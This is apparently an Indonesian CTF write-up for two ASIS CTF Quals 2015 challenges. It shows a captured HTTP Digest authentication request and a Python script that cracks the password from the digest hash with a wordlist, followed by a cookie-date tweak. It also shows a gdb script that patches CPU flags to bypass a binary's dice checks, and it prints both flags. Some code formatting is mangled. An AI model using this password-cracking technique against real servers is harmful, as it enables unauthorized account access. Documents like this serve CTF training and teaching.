GET /7he_most_super_s3cr3t_page.php HTTP/1.1 Host: strangeauthen.asis­ctf.ir Connection: keep­alive Authorization: Digest username="factoreal", realm="this page for admin only, go out now!", nonce="554aed8c0b2d8", uri="/7he_most_super_s3cr3t_page.php", response="587bb0cf4968b88fdf00c8ae81ff8bf4", opaque="d073cc4342291e6270746b4675498022", qop=auth, nc=00000002, cnonce="bd65e746ecf4d7e7" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User­Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 DNT: 1 Referer: http://strangeauthen.asis­ctf.ir/login.php

Accept­Encoding: gzip, deflate, sdch Accept­Language: en­US,en;q=0.8,fa;q=0.6,de;q=0.4 Cookie: PHPSESSID=hkgvkkaoq60v2bv613r2uouq22

Pertama coba login dengan mengubah otorisasi dengan tamper data, data pertama tidak berhasil dan yang kedua berhasil login sebagai faktorial jadi lihat halaman lainnya, dibutuhkan login lagi, coba dengan data ketiga, tidak ada yang berubah. Jadi gunakan metode bruteforce untuk menemukan passwordnya.

Telah didapatkan semuanya kecuali password :

username="factoreal" realm="this page for admin only, go out now!" nonce="554aed8c0b2d8" uri="/login.php" response="d9b58c347f96195884ce27036f3c9546" qop=auth nc=00000001 cnonce="d6d1a0a39a93b4c3"

Untuk mencari passwordnya dengan menggunakan skrip :

import hashlib

password = open('passwords.txt').read().splitlines() h2 = hashlib.md5("GET:/login.php").hexdigest() for i in range(len(password)):

h1 = hashlib.md5("factoreal:this page for admin only, go out now!:" + password[i]).hexdigest() result = hashlib.md5(h1 + ":554aed8c0b2d8:00000001:d6d1a0a39a93b4c3:auth:" + h2).hexdigest() if result == "d9b58c347f96195884ce27036f3c9546":

print "[*] Password found: " + password[i] exit()

Dan didapatkan passwordnya adalah :

[*] Password found: secpass

Jadi coba login lagi. Ubah tanggal cookienya menjadi 2016 dan halamannya akan muncul :

Welcome factoreal, nice to see you again!

Congratz! Great you found me!

Flagnya adalah : ASIS{004efe5ec5867811f4f13bc8f9921517}

ASIS CTF Quals 2015 - keylead

source: http://www.thice.nl/asis-ctf-2015-write-ups/ 100

Challenge terdiri dari file dengan nama keylead, yang dijalankan 64-bit linux : keylead: ELF 64­bit LSB executable, x86­64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xa7a4d5c1237aa5ff9380f8359cc80d5372ec7

Ketika dieksekusi, maka harus file menampilkan bahwa game harus dimainkan : # ./keylead hi all ­­­­­­­­­­­­­­­­­­­­­­ Welcome to dice game! You have to roll 5 dices and get 3, 1, 3, 3, 7 in order. Press enter to roll.

You rolled 2, 4, 6, 2, 1. You DID NOT roll as I said! Bye bye~

Lihat bagaimana jalannya program, lihat kode assembly yang telah dijalankan dengan menggunakan perintah objcommand, dan setelah dijalankan ditemukan bebrapa perbandingan yang menarik : 400fb7:

83 7d f4 03 cmpl $0x3,­0xc(%rbp)

400fbb: 0f 85 32 01 00 00 jne 4010f3 <rand@plt+0xb43>

400ff3: 83 7d f0 01 cmpl $0x1,­0x10(%rbp) 400ff7: 0f 85 f4 00 00 00 jne 4010f1 <rand@plt+0xb41>

40102f: 83 7d ec 03 cmpl $0x3,­0x14(%rbp) 401033: 0f 85 b6 00 00 00 jne 4010ef <rand@plt+0xb3f>

40106b: 83 7d e8 03 cmpl $0x3,­0x18(%rbp) 40106f: 75 7c jne 4010ed <rand@plt+0xb3d>

4010a0: 83 7d e4 07 cmpl $0x7,­0x1c(%rbp) 4010a4: 75 45 jne 4010eb <rand@plt+0xb3b>

Instruksi JNE akan berpindah jika “ZF = 0”, dapat mengatur ZF di gdb dengan mensetting eflags. Menggunakan nilai dari eflags pada gdb command skrip:

br *0x400fbb commands

set ($eflags)=0x246 c

end

br *0x400ff7 commands

set ($eflags)=0x246 c set ($eflags)=0x246 c

br *0x401033 commands

set ($eflags)=0x246 c

end

br *0x40106f commands

set ($eflags)=0x246 c

end

br *0x4010a4 commands

set ($eflags)=0x246 c

end

file ./keylead r

Ketika dieksekusi ditemukan flagnya : # gdb ­­quiet ­­command=keylead.solv Breakpoint 1 at 0x400fbb Breakpoint 2 at 0x400ff7 Breakpoint 3 at 0x401033 Breakpoint 4 at 0x40106f Breakpoint 5 at 0x4010a4 hi all ­­­­­­­­­­­­­­­­­­­­­­ Welcome to dice game! You have to roll 5 dices and get 3, 1, 3, 3, 7 in order. Press enter to roll.

You rolled 5, 6, 4, 6, 4.

Breakpoint 1, 0x0000000000400fbb in ?? () Breakpoint 2, 0x0000000000400ff7 in ?? () Breakpoint 3, 0x0000000000401033 in ?? () Breakpoint 4, 0x000000000040106f in ?? () Breakpoint 5, 0x00000000004010a4 in ?? ()

You rolled as I said! I'll give you the flag. ASIS{1fc1089e328eaf737c882ca0b10fcfe6}

Flag : ASIS{1fc1089e328eaf737c882ca0b10fcfe6}